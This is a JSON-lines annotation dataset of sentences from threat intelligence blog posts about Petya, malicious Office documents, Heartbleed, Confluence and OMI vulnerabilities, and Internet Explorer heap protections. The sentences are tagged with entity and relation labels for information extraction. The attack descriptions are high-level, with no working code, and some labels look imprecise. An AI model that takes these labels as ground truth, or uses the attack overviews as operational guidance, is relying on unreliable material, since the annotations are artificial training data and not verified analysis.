+{"id":642,"text":" Delivery\/Exploitation","entities":[],"relations":[],"Comments":[]}
+{"id":643,"text":" We have not yet confirmed the initial infection vector for this new Petya variant.","entities":[{"id":2132,"label":"malware","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
+{"id":644,"text":"Previous variants were spread through e-mail, but we have not identified this latest sample carried in any e-mail related attacks.","entities":[],"relations":[],"Comments":[]}
+{"id":645,"text":" While we have not been able to directly confirm the source, we have seen evidence that a Ukrainian software application called MEDoc was used by attackers to deliver the Petya DLL.","entities":[{"id":46229,"label":"location","start_offset":90,"end_offset":99},{"id":44817,"label":"SOFTWARE","start_offset":128,"end_offset":133},{"id":44818,"label":"malware","start_offset":171,"end_offset":176}],"relations":[{"id":174,"from_id":44818,"to_id":44817,"type":"uses"}],"Comments":[]}
+{"id":646,"text":"The software is heavily used in Ukraine it appears the company’s systems may have been compromised and used to issue a malicious update to systems running the program on the morning of Jun 27th.","entities":[{"id":46230,"label":"TIME","start_offset":174,"end_offset":193},{"id":46231,"label":"location","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
+{"id":648,"text":" Installation  ","entities":[],"relations":[],"Comments":[]}
+{"id":649,"text":"This variant of Petya is spread as a DLL file, which must be executed by another process before it takes action on the system.","entities":[{"id":2145,"label":"malware","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
+{"id":650,"text":"Once executed, it overwrites the Master Boot Record and creates a scheduled task to reboot the system.","entities":[{"id":46233,"label":"SOFTWARE","start_offset":33,"end_offset":51},{"id":46234,"label":"attack-pattern","start_offset":66,"end_offset":80}],"relations":[],"Comments":[]}
+{"id":651,"text":"Once the system reboots, the malware displays a fake “chkdisk” scan which tricks the victim into believing the program is repairing their hard drive.","entities":[],"relations":[],"Comments":[]}
+{"id":652,"text":"In reality, the malware is encrypting the NTFS Master File Table in the background.","entities":[],"relations":[],"Comments":[]}
+{"id":653,"text":"Once the fake chkdisk completes, the malware displays a ransom note which demands a payment of $300 in bitcoin.","entities":[],"relations":[],"Comments":[]}
+{"id":654,"text":"Command and Control  Petya contains no Command and Control mechanisms that we know of.","entities":[{"id":2153,"label":"malware","start_offset":21,"end_offset":26}],"relations":[],"Comments":[]}
+{"id":655,"text":"After a host is infected, there is no communication from the malware back to the attacker.","entities":[],"relations":[],"Comments":[]}
+{"id":656,"text":" Lateral Movement  Petya uses three mechanisms to spread to additional hosts.","entities":[{"id":2156,"label":"malware","start_offset":19,"end_offset":24},{"id":46235,"label":"attack-pattern","start_offset":1,"end_offset":17}],"relations":[],"Comments":[]}
+{"id":657,"text":" Ransomware attacks are very common, but they are rarely coupled with an exploit that allows the malware to spread as a network worm.","entities":[],"relations":[],"Comments":[]}
+{"id":658,"text":"The WannaCry attacks in May, 2017 demonstrated that many Windows systems had not been patched for this vulnerability.","entities":[{"id":2160,"label":"malware","start_offset":4,"end_offset":12},{"id":46236,"label":"TIME","start_offset":24,"end_offset":33},{"id":46237,"label":"SOFTWARE","start_offset":57,"end_offset":64}],"relations":[],"Comments":[]}
+{"id":659,"text":"The spread of Petya using this vulnerability indicates that many organizations may still be vulnerable, despite the attention WannaCry received.","entities":[{"id":2163,"label":"malware","start_offset":14,"end_offset":19},{"id":2166,"label":"malware","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
+{"id":660,"text":" As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.  Version Summary  June 27, 2017:  June 27, 2017 – 1:08 PM PT  June 28, 2017 – 8:40 AM PT  June 29, 2017 - 5:00 PM PT  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46238,"label":"TIME","start_offset":133,"end_offset":146},{"id":46241,"label":"TIME","start_offset":177,"end_offset":203},{"id":46242,"label":"TIME","start_offset":205,"end_offset":231},{"id":46240,"label":"TIME","start_offset":149,"end_offset":175}],"relations":[],"Comments":[]}
+{"id":661,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":662,"text":"Nearly all of us have a use for Microsoft Office documents.","entities":[{"id":46243,"label":"SOFTWARE","start_offset":32,"end_offset":48}],"relations":[],"Comments":[]}
+{"id":663,"text":"Whether they are work documents, e-receipts, or a lease on a new apartment – Office documents are useful to all of us, and this is part of the reason we’re very likely to open an office document we receive as an attachment in e-mail.","entities":[],"relations":[],"Comments":[]}
+{"id":664,"text":"Armed with the knowledge that many people will open nearly any document, even those from an untrusted source, adversaries commonly choose these files in attacks to compromise a system.","entities":[],"relations":[],"Comments":[]}
+{"id":665,"text":"In this threat brief we show you five different ways that Office documents can be subverted and abused to attack and compromise a Windows endpoint, some we’ve already posted about before, and some are new.","entities":[{"id":46244,"label":"SOFTWARE","start_offset":130,"end_offset":137}],"relations":[],"Comments":[]}
+{"id":666,"text":" Macros Macros are the most straight-forward way for an attacker to weaponize Office documents.","entities":[],"relations":[],"Comments":[]}
+{"id":667,"text":"Office applications have a built-in script engine that can run VBA (Visual Basic for Applications) scripts.","entities":[{"id":46245,"label":"SOFTWARE","start_offset":63,"end_offset":98}],"relations":[],"Comments":[]}
+{"id":668,"text":"These scripts can execute immediately as the document opens, without any user interaction (assuming the user has previously enabled macros) and run malicious code on the system.","entities":[],"relations":[],"Comments":[]}
+{"id":669,"text":"If the user has not enabled macros, a popup window will appear asking the user to click to do so.","entities":[],"relations":[],"Comments":[]}
+{"id":670,"text":"The pop-up is one of several security mechanisms added by Microsoft to mitigate the security risk that macros pose.","entities":[{"id":46246,"label":"identity","start_offset":58,"end_offset":67}],"relations":[],"Comments":[]}
+{"id":671,"text":"Microsoft will also force a different file extension (.docm instead of .docx for new documents containing macros).","entities":[{"id":46247,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
+{"id":672,"text":"Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector – both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.","entities":[{"id":2220,"label":"malware","start_offset":212,"end_offset":218},{"id":44819,"label":"campaign","start_offset":267,"end_offset":282},{"id":44821,"label":"threat-actor","start_offset":267,"end_offset":273}],"relations":[{"id":175,"from_id":44819,"to_id":44821,"type":"related-to"}],"Comments":[]}
+{"id":673,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
+{"id":674,"text":"The Sofacy document before & after the content is enabled","entities":[{"id":46248,"label":"malware","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
+{"id":675,"text":" As you can see in this example, attackers try to convince users to disable the security mechanisms added by Microsoft using social engineering, convincing the user to enable content for them to be able to see the full document.","entities":[{"id":45797,"label":"attack-pattern","start_offset":125,"end_offset":143},{"id":44822,"label":"identity","start_offset":109,"end_offset":118}],"relations":[],"Comments":[]}
+{"id":676,"text":"In the Sofacy example, the attackers had simply made the font color white, so the text was present prior to the user enabling macros, just not clearly visible.","entities":[{"id":46249,"label":"malware","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
+{"id":677,"text":" Embedded Flash files  In addition to built-in capabilities, like macros, Office documents can also be embedded with external objects, such as Adobe Flash files.","entities":[{"id":2236,"label":"location","start_offset":91,"end_offset":94},{"id":46250,"label":"SOFTWARE","start_offset":143,"end_offset":154}],"relations":[],"Comments":[]}
+{"id":678,"text":"These objects are passed to the appropriate software for handling, thus any vulnerability that the software has can also be exploited by embedding it within the Adobe Flash content in the Office document.","entities":[{"id":44823,"label":"SOFTWARE","start_offset":161,"end_offset":172}],"relations":[],"Comments":[]}
+{"id":679,"text":"An example for such attack vector being leveraged by attackers is CVE-2018-4878, an Adobe Flash Player Zero-Day exploited by embedding malicious SWF files in Excel documents.","entities":[{"id":46251,"label":"vulnerability","start_offset":66,"end_offset":79},{"id":46252,"label":"SOFTWARE","start_offset":84,"end_offset":102},{"id":46253,"label":"attack-pattern","start_offset":125,"end_offset":173}],"relations":[{"id":176,"from_id":46252,"to_id":46251,"type":"has"},{"id":177,"from_id":46251,"to_id":46253,"type":"uses"}],"Comments":[]}
+{"id":680,"text":"In these types of attacks, the malicious Excel contains embedded Adobe Flash content which can trigger the Flash vulnerability and execute embedded shellcode.","entities":[{"id":46255,"label":"vulnerability","start_offset":107,"end_offset":126},{"id":46254,"label":"SOFTWARE","start_offset":65,"end_offset":76}],"relations":[],"Comments":[]}
+{"id":681,"text":" Microsoft Equation Editor","entities":[{"id":45798,"label":"SOFTWARE","start_offset":1,"end_offset":26}],"relations":[],"Comments":[]}
+{"id":682,"text":"In a similar way to embedding Adobe Flash files into an Office document, you can also embed equations in documents that will be parsed by Microsoft Equation Editor - a program that lets you easily write mathematical equations: Figure 2.  Microsoft Equation Editor  As in our previous example, vulnerabilities in the equation editor can be exploited by leveraging malicious Office documents.","entities":[{"id":46257,"label":"SOFTWARE","start_offset":30,"end_offset":41},{"id":46258,"label":"SOFTWARE","start_offset":138,"end_offset":163},{"id":46256,"label":"SOFTWARE","start_offset":238,"end_offset":263}],"relations":[],"Comments":[]}
+{"id":683,"text":"We’ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution.","entities":[{"id":46259,"label":"vulnerability","start_offset":48,"end_offset":62},{"id":46260,"label":"vulnerability","start_offset":128,"end_offset":141},{"id":46261,"label":"SOFTWARE","start_offset":178,"end_offset":193}],"relations":[],"Comments":[]}
+{"id":684,"text":"While still not seen in the wild, similar exploits in Microsoft Equation Editor, such as such as CVE-2018-0807 and CVE-2018-0798, were identified by Unit 42 researchers.","entities":[{"id":2275,"label":"identity","start_offset":149,"end_offset":156},{"id":44827,"label":"SOFTWARE","start_offset":54,"end_offset":79},{"id":44824,"label":"vulnerability","start_offset":97,"end_offset":110},{"id":44825,"label":"vulnerability","start_offset":115,"end_offset":128}],"relations":[{"id":29,"from_id":44827,"to_id":44825,"type":"has"},{"id":28,"from_id":44827,"to_id":44824,"type":"has"}],"Comments":[]}
+{"id":685,"text":"Note that since the Microsoft Equation Editor runs as its own process (eqnedt32.exe), protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not effective by default, as they only protect Microsoft Office processes (such as winword.exe).  OLE Objects & HTA Handlers","entities":[{"id":46263,"label":"SOFTWARE","start_offset":144,"end_offset":174},{"id":46264,"label":"SOFTWARE","start_offset":20,"end_offset":45},{"id":46262,"label":"SOFTWARE","start_offset":110,"end_offset":126},{"id":46265,"label":"FILEPATH","start_offset":71,"end_offset":83},{"id":46266,"label":"SOFTWARE","start_offset":226,"end_offset":242},{"id":46267,"label":"FILEPATH","start_offset":262,"end_offset":273}],"relations":[],"Comments":[]}
+{"id":686,"text":"OLE Objects & HTA Handlers are mechanisms Office documents use to make references to include other documents in their content.","entities":[],"relations":[],"Comments":[]}
+{"id":687,"text":"They can be used to compromise an endpoint in the following way:  This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office\/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.","entities":[{"id":2292,"label":"identity","start_offset":136,"end_offset":145},{"id":2293,"label":"tools","start_offset":146,"end_offset":152},{"id":2298,"label":"malware","start_offset":289,"end_offset":295},{"id":44828,"label":"vulnerability","start_offset":118,"end_offset":131},{"id":44830,"label":"campaign","start_offset":289,"end_offset":303},{"id":44829,"label":"TIME","start_offset":227,"end_offset":241},{"id":44831,"label":"tools","start_offset":136,"end_offset":152},{"id":44832,"label":"tools","start_offset":153,"end_offset":160}],"relations":[{"id":30,"from_id":44831,"to_id":44828,"type":"has"},{"id":31,"from_id":44832,"to_id":44828,"type":"has"},{"id":32,"from_id":44830,"to_id":44828,"type":"exploits"}],"Comments":[]}
+{"id":688,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
+{"id":689,"text":"RTF files will look exactly like regular Word documents  ","entities":[{"id":46268,"label":"SOFTWARE","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
+{"id":690,"text":"In addition to the previous OLE & HTA exploit, attackers discovered RTF files can also execute ‘text\/html’ mime-type OLE objects using the MSHTML.","entities":[{"id":44833,"label":"vulnerability","start_offset":28,"end_offset":45}],"relations":[],"Comments":[]}
+{"id":691,"text":"This means that RTF documents expose the same attack surface as Internet Explorer!","entities":[{"id":46269,"label":"SOFTWARE","start_offset":64,"end_offset":81}],"relations":[],"Comments":[]}
+{"id":692,"text":"Leveraging this logical vulnerability, known as CVE-2018-8174, allows attackers to execute arbitrary HTML\/JavaScript\/VBScript.","entities":[{"id":46270,"label":"vulnerability","start_offset":48,"end_offset":61},{"id":46271,"label":"attack-pattern","start_offset":83,"end_offset":125}],"relations":[],"Comments":[]}
+{"id":693,"text":"While code executed in this way is ‘sandboxed’ (where it cannot run new processes or write to the filesystem etc.), like other code running from Internet Explorer","entities":[{"id":45799,"label":"SOFTWARE","start_offset":145,"end_offset":162}],"relations":[],"Comments":[]}
+{"id":694,"text":", this flaw can be used to leverage other vulnerabilities, such as a memory corruption UAF vulnerability in the VBScript engine, to gain arbitrary code execution in the context of the Word application (winword.exe), allowing them to gain control on the system.","entities":[{"id":46272,"label":"FILEPATH","start_offset":202,"end_offset":213},{"id":46273,"label":"SOFTWARE","start_offset":112,"end_offset":127},{"id":46274,"label":"SOFTWARE","start_offset":184,"end_offset":200}],"relations":[],"Comments":[]}
+{"id":695,"text":" Conclusion","entities":[],"relations":[],"Comments":[]}
+{"id":696,"text":"While document-based attacks have been a common attack vector for over a decade, we’re seeing a recent rise in their popularity and complexity.","entities":[],"relations":[],"Comments":[]}
+{"id":697,"text":"This rise may be a result of browser exploits becoming more difficult to use, due to the hardening done by browser developers.","entities":[],"relations":[],"Comments":[]}
+{"id":698,"text":"No matter the reason","entities":[],"relations":[],"Comments":[]}
+{"id":699,"text":", it is important that organizations know how to defend against these common techniques.","entities":[],"relations":[],"Comments":[]}
+{"id":700,"text":" Prevention Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:","entities":[{"id":2316,"label":"identity","start_offset":12,"end_offset":30}],"relations":[],"Comments":[]}
+{"id":701,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":702,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":703,"text":"This has been a fun week.","entities":[],"relations":[],"Comments":[]}
+{"id":704,"text":"We have not had a significant cyber event like this – something that affects just about everybody on the Internet -- since the Kaminsky DNS vulnerability of 2008.","entities":[{"id":46276,"label":"vulnerability","start_offset":127,"end_offset":153},{"id":46275,"label":"TIME","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
+{"id":705,"text":"Everybody I know has been scrambling to understand what it means to their organization, to their business and to their immediate family.","entities":[],"relations":[],"Comments":[]}
+{"id":706,"text":"Yes, I said family.","entities":[],"relations":[],"Comments":[]}
+{"id":707,"text":"I am sure I am not the only one who has answered a question or two from his mother-in-law about how the Internet is melting down based on what she’s been reading in the press.","entities":[],"relations":[],"Comments":[]}
+{"id":708,"text":" There’s a lot out there already about what Heartbleed means for the Web and beyond, and I’ll point you to our own analysis written by Scott Simkin or an essay by Dan Goodin over at ars technica for that explanation.","entities":[{"id":44834,"label":"identity","start_offset":135,"end_offset":147},{"id":44835,"label":"identity","start_offset":163,"end_offset":173},{"id":44836,"label":"identity","start_offset":182,"end_offset":194},{"id":44837,"label":"vulnerability","start_offset":44,"end_offset":54}],"relations":[],"Comments":[]}
+{"id":709,"text":"Instead, here are eight things I am doing right now to protect Palo Alto Networks and my home (and mother-in-law) and that you should be doing, too:","entities":[{"id":46277,"label":"identity","start_offset":63,"end_offset":81}],"relations":[],"Comments":[]}
+{"id":710,"text":" If there’s a long-term consideration here, it’s to install perfect forward secrecy, as Twitter did last year.","entities":[{"id":46278,"label":"SOFTWARE","start_offset":88,"end_offset":95}],"relations":[],"Comments":[]}
+{"id":711,"text":"That ensures that a session key derived from a stolen private key and a collected public key in the future will not be compromised.","entities":[],"relations":[],"Comments":[]}
+{"id":712,"text":" For more:  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":713,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":714,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":715,"text":"This post is also available in:      日本語 (Japanese)  On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084.","entities":[{"id":46281,"label":"vulnerability","start_offset":179,"end_offset":193},{"id":46282,"label":"SOFTWARE","start_offset":144,"end_offset":177},{"id":46279,"label":"identity","start_offset":71,"end_offset":80},{"id":46280,"label":"TIME","start_offset":56,"end_offset":69}],"relations":[{"id":178,"from_id":46282,"to_id":46281,"type":"has"}],"Comments":[]}
+{"id":716,"text":"If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.","entities":[{"id":46283,"label":"attack-pattern","start_offset":55,"end_offset":76},{"id":46284,"label":"attack-pattern","start_offset":81,"end_offset":99}],"relations":[],"Comments":[]}
+{"id":717,"text":"Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.","entities":[],"relations":[],"Comments":[]}
+{"id":718,"text":"Unit 42 recommends customers upgrade to the latest release of Confluence Server and Data Center.","entities":[{"id":46285,"label":"identity","start_offset":0,"end_offset":7},{"id":46286,"label":"SOFTWARE","start_offset":62,"end_offset":95}],"relations":[],"Comments":[]}
+{"id":719,"text":" The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:  Confluence Cloud customers are not affected by this vulnerability.","entities":[{"id":46287,"label":"identity","start_offset":5,"end_offset":14},{"id":46288,"label":"vulnerability","start_offset":38,"end_offset":52},{"id":46290,"label":"SOFTWARE","start_offset":131,"end_offset":147},{"id":46289,"label":"SOFTWARE","start_offset":95,"end_offset":128}],"relations":[{"id":180,"from_id":46289,"to_id":46288,"type":"has"}],"Comments":[]}
+{"id":720,"text":" We recommend that customers update Atlassian Confluence Server and Data Center to the latest version, 7.13.0 (TLS).","entities":[{"id":44838,"label":"SOFTWARE","start_offset":36,"end_offset":79}],"relations":[],"Comments":[]}
+{"id":721,"text":"You can find the newest release on Atlassian’s download center.","entities":[{"id":46291,"label":"identity","start_offset":35,"end_offset":44}],"relations":[],"Comments":[]}
+{"id":722,"text":" If you cannot install the latest upgrade, see the Mitigation section on the Atlassian security advisory for information on how to mitigate this vulnerability by running a script for the operating system your Confluence server is hosted on.  Palo Alto Networks provides protection against the exploitation of this vulnerability:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":46292,"label":"identity","start_offset":77,"end_offset":86},{"id":46293,"label":"SOFTWARE","start_offset":209,"end_offset":219},{"id":46294,"label":"identity","start_offset":242,"end_offset":260},{"id":46295,"label":"identity","start_offset":330,"end_offset":348}],"relations":[],"Comments":[]}
+{"id":723,"text":" writeups\/Confluence-RCE.md at main · httpvoid\/writeups  Confluence Server Download Archives  Confluence Security Advisory - 2021-08-25 | Confluence Data Center and Server 7.13  ","entities":[{"id":46296,"label":"TIME","start_offset":125,"end_offset":135},{"id":46297,"label":"SOFTWARE","start_offset":138,"end_offset":177},{"id":44839,"label":"FILEPATH","start_offset":1,"end_offset":27},{"id":44841,"label":"SOFTWARE","start_offset":57,"end_offset":74},{"id":44842,"label":"SOFTWARE","start_offset":94,"end_offset":104}],"relations":[],"Comments":[]}
+{"id":724,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":725,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":726,"text":"This post is also available in:      日本語 (Japanese)  On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC) released security patches detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package Open Management Infrastructure (OMI).","entities":[{"id":46298,"label":"TIME","start_offset":56,"end_offset":70},{"id":44843,"label":"identity","start_offset":72,"end_offset":115},{"id":44844,"label":"SOFTWARE","start_offset":212,"end_offset":272}],"relations":[],"Comments":[]}
+{"id":727,"text":"The open-source OMI package is designed to provide a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems.","entities":[{"id":46299,"label":"SOFTWARE","start_offset":207,"end_offset":211},{"id":46301,"label":"SOFTWARE","start_offset":16,"end_offset":27},{"id":46300,"label":"SOFTWARE","start_offset":216,"end_offset":221}],"relations":[],"Comments":[]}
+{"id":728,"text":"OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances.","entities":[{"id":46302,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":46305,"label":"SOFTWARE","start_offset":62,"end_offset":90},{"id":46303,"label":"SOFTWARE","start_offset":15,"end_offset":30},{"id":46304,"label":"SOFTWARE","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
+{"id":729,"text":"According to Microsoft’s security release notes, any system created, or which has updated its OMI package, after Aug. 11, 2021, should automatically be patched.","entities":[{"id":44845,"label":"TIME","start_offset":113,"end_offset":126},{"id":44846,"label":"identity","start_offset":13,"end_offset":23}],"relations":[],"Comments":[]}
+{"id":730,"text":" The four critical vulnerabilities discovered by security researchers from Wiz include one unauthenticated remote code execution (RCE) and three privilege escalation vulnerabilities.  Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure cloud instances using the following Azure services:  Prisma Cloud Compute Defender agents can detect whether any Azure system is vulnerable to any of the four CVEs.","entities":[{"id":46306,"label":"attack-pattern","start_offset":91,"end_offset":135},{"id":46311,"label":"SOFTWARE","start_offset":313,"end_offset":342},{"id":46307,"label":"attack-pattern","start_offset":145,"end_offset":165},{"id":46309,"label":"SOFTWARE","start_offset":254,"end_offset":265},{"id":46310,"label":"SOFTWARE","start_offset":296,"end_offset":310},{"id":46313,"label":"SOFTWARE","start_offset":373,"end_offset":378},{"id":46308,"label":"vulnerability","start_offset":191,"end_offset":197}],"relations":[],"Comments":[]}
+{"id":731,"text":"Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running an OMI package with a version previous to 1.6.8.1.","entities":[{"id":46314,"label":"SOFTWARE","start_offset":14,"end_offset":26},{"id":46315,"label":"SOFTWARE","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
+{"id":732,"text":" To build a custom vulnerability detection rule, open Prisma Cloud and navigate to the following page:  name,type,package,minVersionInclusive,maxVersionInclusive,md5 OMIGOD,package,omi,*,1.6.8.0,  Palo Alto Networks Azure-based VM- and CN-Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities.","entities":[{"id":46318,"label":"identity","start_offset":197,"end_offset":215},{"id":46319,"label":"SOFTWARE","start_offset":216,"end_offset":221},{"id":46321,"label":"SOFTWARE","start_offset":322,"end_offset":325},{"id":46317,"label":"vulnerability","start_offset":166,"end_offset":172},{"id":46316,"label":"SOFTWARE","start_offset":54,"end_offset":66},{"id":46320,"label":"SOFTWARE","start_offset":280,"end_offset":283}],"relations":[],"Comments":[]}
+{"id":733,"text":" Prisma Cloud will create an alert for any system which maintains an OMI package vulnerable to the OMI critical vulnerabilities.","entities":[{"id":46322,"label":"SOFTWARE","start_offset":1,"end_offset":13},{"id":46324,"label":"SOFTWARE","start_offset":99,"end_offset":102},{"id":46323,"label":"SOFTWARE","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]}
+{"id":734,"text":"Should a system be identified as vulnerable, the following steps should be taken for that Azure Cloud Instance:","entities":[{"id":46325,"label":"SOFTWARE","start_offset":90,"end_offset":101}],"relations":[],"Comments":[]}
+{"id":735,"text":"On Sept. 14, 2021, security researchers from Wiz released a report detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package OMI.","entities":[{"id":46326,"label":"identity","start_offset":45,"end_offset":48},{"id":44849,"label":"TIME","start_offset":3,"end_offset":17},{"id":44851,"label":"SOFTWARE","start_offset":137,"end_offset":164}],"relations":[],"Comments":[]}
+{"id":736,"text":"Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure Cloud Instances.","entities":[{"id":46327,"label":"vulnerability","start_offset":7,"end_offset":13},{"id":46328,"label":"SOFTWARE","start_offset":70,"end_offset":81}],"relations":[{"id":181,"from_id":46328,"to_id":46327,"type":"has"}],"Comments":[]}
+{"id":737,"text":"Palo Alto Networks Azure-based VM and CN Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities.","entities":[{"id":46331,"label":"SOFTWARE","start_offset":82,"end_offset":85},{"id":46330,"label":"SOFTWARE","start_offset":19,"end_offset":24},{"id":46329,"label":"identity","start_offset":0,"end_offset":18},{"id":46332,"label":"SOFTWARE","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
+{"id":738,"text":"Customers of Prisma Cloud have the ability to create alerts to detect vulnerabilities.","entities":[{"id":44852,"label":"SOFTWARE","start_offset":13,"end_offset":25}],"relations":[],"Comments":[]}
+{"id":739,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":740,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":741,"text":"Use-after-free bugs have affected Internet Explorer for years.","entities":[{"id":46333,"label":"SOFTWARE","start_offset":34,"end_offset":51}],"relations":[],"Comments":[]}
+{"id":742,"text":"In the past year alone, Microsoft patched 122 IE vulnerabilities, the majority of which were use-after-free bugs.","entities":[{"id":46334,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":743,"text":"This year Microsoft has already patched 126 IE vulnerabilities to date.","entities":[{"id":46335,"label":"identity","start_offset":10,"end_offset":19}],"relations":[],"Comments":[]}
+{"id":744,"text":"Of those vulnerabilities, 4 were actively being exploited in the wild.","entities":[],"relations":[],"Comments":[]}
+{"id":745,"text":"These 4 exploits (CVE-2014-1815, CVE-2014-1776, CVE-2014-0322, CVE-2014-0324) were all based on use-after-free bugs.","entities":[{"id":46336,"label":"vulnerability","start_offset":18,"end_offset":31},{"id":46337,"label":"vulnerability","start_offset":33,"end_offset":46},{"id":46339,"label":"vulnerability","start_offset":63,"end_offset":76},{"id":46338,"label":"vulnerability","start_offset":48,"end_offset":61}],"relations":[],"Comments":[]}
+{"id":746,"text":" To deal with the increasing number of use-after-free bugs and associated exploits, Microsoft introduced a series of new control mechanisms in the most recent Internet Explorer patches.","entities":[{"id":46340,"label":"identity","start_offset":84,"end_offset":93},{"id":46341,"label":"SOFTWARE","start_offset":159,"end_offset":176}],"relations":[],"Comments":[]}
+{"id":747,"text":"In June, Microsoft introduced a new isolated heap mechanism to solve the usage issue of use-after-free exploitation.","entities":[{"id":44853,"label":"identity","start_offset":9,"end_offset":18},{"id":44854,"label":"attack-pattern","start_offset":88,"end_offset":115}],"relations":[],"Comments":[]}
+{"id":748,"text":"They followed that up In July by implementing a deferred free method to solve the freeing issue of use-after-free bugs.","entities":[{"id":46342,"label":"TIME","start_offset":25,"end_offset":29},{"id":46343,"label":"attack-pattern","start_offset":99,"end_offset":113}],"relations":[],"Comments":[]}
+{"id":749,"text":" The main concept of an isolated heap is simple.","entities":[],"relations":[],"Comments":[]}
+{"id":750,"text":"It allocates a dedicated heap for select critical objects to use that is separate from other heaps that a user can directly access.","entities":[],"relations":[],"Comments":[]}
+{"id":751,"text":"The heap block will not be occupied by user-controlled data after the critical objects are freed.","entities":[],"relations":[],"Comments":[]}
+{"id":752,"text":"This mechanism prevents precise control of the data of a freed object from further exploitation.","entities":[],"relations":[],"Comments":[]}
+{"id":753,"text":"  Figure 1. _g_hIsolatedHeap handle used for isolated heap  ","entities":[],"relations":[],"Comments":[]}
+{"id":754,"text":"The isolated heap was applied to many but not all internal objects, leaving some still vulnerable.","entities":[],"relations":[],"Comments":[]}
+{"id":755,"text":"To address this, Microsoft introduced another protection method of deferred free named ProtectedFree.","entities":[{"id":46344,"label":"identity","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
+{"id":756,"text":"They encapsulate this method and apply it to almost every object in mshtml.dll.","entities":[{"id":44855,"label":"FILEPATH","start_offset":68,"end_offset":78}],"relations":[],"Comments":[]}
+{"id":757,"text":"In IE9, for example, it has been applied to every object through MemoryProtection::HeapFree as shown in figure 2.","entities":[{"id":46345,"label":"SOFTWARE","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]}
+{"id":758,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
+{"id":759,"text":"References of MemoryProtection::HeapFree  ","entities":[],"relations":[],"Comments":[]}
+{"id":760,"text":"The main idea of this protection mechanism is to delay the freeing action so that the intruder is unable to determine when they can occupy the freed object using controlled data.","entities":[],"relations":[],"Comments":[]}
+{"id":761,"text":"In this new patch, every time Internet Explorer tries to free an object, it is not freed immediately.","entities":[{"id":46346,"label":"SOFTWARE","start_offset":30,"end_offset":47}],"relations":[],"Comments":[]}
+{"id":762,"text":"Instead, the block to be freed is marked and filled with 0x00 data and added to a pool.","entities":[],"relations":[],"Comments":[]}
+{"id":763,"text":"When the size of the pool hits a predefined threshold, which is currently 100k (0x186A0 as highlighted in figure 3), it performs the real freeing operation (ReclaimUnmarkedBlocks).    Figure 3.","entities":[],"relations":[],"Comments":[]}
